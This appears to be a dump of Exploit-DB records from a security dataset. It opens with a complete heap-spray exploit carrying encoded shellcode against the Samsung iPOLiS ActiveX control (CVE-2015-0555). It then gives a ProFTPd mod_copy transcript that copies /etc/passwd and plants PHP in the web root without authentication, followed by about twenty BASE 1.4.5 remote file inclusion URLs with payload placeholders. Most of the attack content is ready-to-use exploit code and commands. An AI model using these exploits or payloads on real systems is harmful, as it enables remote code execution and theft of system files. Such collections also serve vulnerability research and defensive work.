QLWD/code_shield huggingface dataset:
标题: Samsung iPOLiS - ReadConfigValue Remote Code Execution EDB-ID: 36756 CVE: 2015-0555 类型: REMOTE 平台: WINDOWS 发布日期: 2015-04-14 漏洞利用脚本: <html>
<!--
Vendor Homepage: https://www.samsung-security.com/Tools/device-manager.aspx
Samsung iPOLiS 1.12.2 ReadConfigValue Remote Code Execution (heap spray)
CVE: 2015-0555
Author: Praveen Darshanam
http://blog.disects.com/2015/02/samsung-ipolis-1122-xnssdkdeviceipinsta.html
http://darshanams.blogspot.com/
Tested on Windows XP SP3 IE6/7
Thanks to Peter Van Eeckhoutte for his wonderfull exploit writing tutorials
-->
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object>
<script>

var shellcode = unescape('%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;

var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }

// SEH and nSEH will point to 0x06060606
// 0x06060606 will point to (nops+shellcode) chunk
var hbuff = "";
for (i = 0; i <5000; i++)
{
 hbuff += "\x06";
}

// trigget crash
target.ReadConfigValue(hbuff);
</script>
</html> URL: https://www.exploit-db.com/exploits/36756
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_stat_time.php?base_path' Remote File Inclusion EDB-ID: 36753 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                                
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_stat_time.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36753
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'index.php?base_path' Remote File Inclusion EDB-ID: 36757 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                                   
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                   
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                   
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/index.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36757
标题: ProFTPd 1.3.5 - File Copy EDB-ID: 36742 CVE: 2015-3306 类型: REMOTE 平台: LINUX 发布日期: 2015-04-13 漏洞利用脚本: Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169 URL: https://www.exploit-db.com/exploits/36742
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_stat_ports.php?base_path' Remote File Inclusion EDB-ID: 36732 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                              
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                              
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                              
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_stat_ports.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36732
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_stat_alerts.php?base_path' Remote File Inclusion EDB-ID: 36727 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                         
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                         
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                         
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_stat_alerts.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36727
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_stat_common.php?base_path' Remote File Inclusion EDB-ID: 36729 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                           
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                           
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                           
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_stat_common.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36729
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_stat_ipaddr.php?base_path' Remote File Inclusion EDB-ID: 36730 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                            
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                            
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                            
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_stat_ipaddr.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36730
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_stat_class.php?base_path' Remote File Inclusion EDB-ID: 36728 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                          
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                          
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                          
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_stat_class.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36728
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_stat_iplink.php?base_path' Remote File Inclusion EDB-ID: 36731 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                             
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                             
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                             
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_stat_iplink.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36731
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_qry_alert.php?base_path' Remote File Inclusion EDB-ID: 36725 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                       
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                       
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                       
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_qry_alert.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36725
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/setup/base_conf_contents.php' Multiple Remote File Inclusions EDB-ID: 36721 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                   
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                   
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                   
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/setup/base_conf_contents.php?BASE_Language=[EV!L] URL: https://www.exploit-db.com/exploits/36721
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_state_query.inc.php?base_path' Remote File Inclusion EDB-ID: 36720 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                  
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                  
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                  
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/includes/base_state_query.inc.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36720
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_state_common.inc.php?GLOBALS[user_session_path]' Remote File Inclusion EDB-ID: 36722 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                    
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                    
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                    
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/includes/base_state_common.inc.php?GLOBALS[user_session_path]=[EV!L] URL: https://www.exploit-db.com/exploits/36722
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_include.inc.php?base_path' Remote File Inclusion EDB-ID: 36716 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
              
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
              
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
              
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_include.inc.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36716
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_db.inc.php?base_path' Remote File Inclusion EDB-ID: 36715 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
             
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
             
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
             
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_db.inc.php?path=[EV!L] URL: https://www.exploit-db.com/exploits/36715
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/setup/setup2.php?ado_inc_PHP' Remote File Inclusion EDB-ID: 36723 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                     
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                     
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                     
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/setup/setup2.php?ado_inc_php=[EV!L] URL: https://www.exploit-db.com/exploits/36723
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_action.inc.php?base_path' Remote File Inclusion EDB-ID: 36713 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
           
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
           
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
           
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_action.inc.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36713
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_output_html.inc.php?base_path' Remote File Inclusion EDB-ID: 36717 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
               
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
               
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
               
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_output_html.inc.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36717
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_output_query.inc.php?base_path' Remote File Inclusion EDB-ID: 36718 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_output_query.inc.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36718
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_qry_common.php?base_path' Remote File Inclusion EDB-ID: 36726 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                        
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                        
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                        
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_qry_common.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36726
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_ag_main.php?base_path' Remote File Inclusion EDB-ID: 36724 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                      
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                      
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                      
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_ag_main.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36724
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/help/base_setup_help.php?base_path' Remote File Inclusion EDB-ID: 36712 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
          
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
          
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
          
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/help/base_setup_help.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36712
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_cache.inc.php?base_path' Remote File Inclusion EDB-ID: 36714 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
            
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
            
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
            
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/includes/base_cache.inc.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36714
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/includes/base_state_criteria.inc.php?base_path' Remote File Inclusion EDB-ID: 36719 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                 
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                 
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                 
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/includes/base_state_criteria.inc.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36719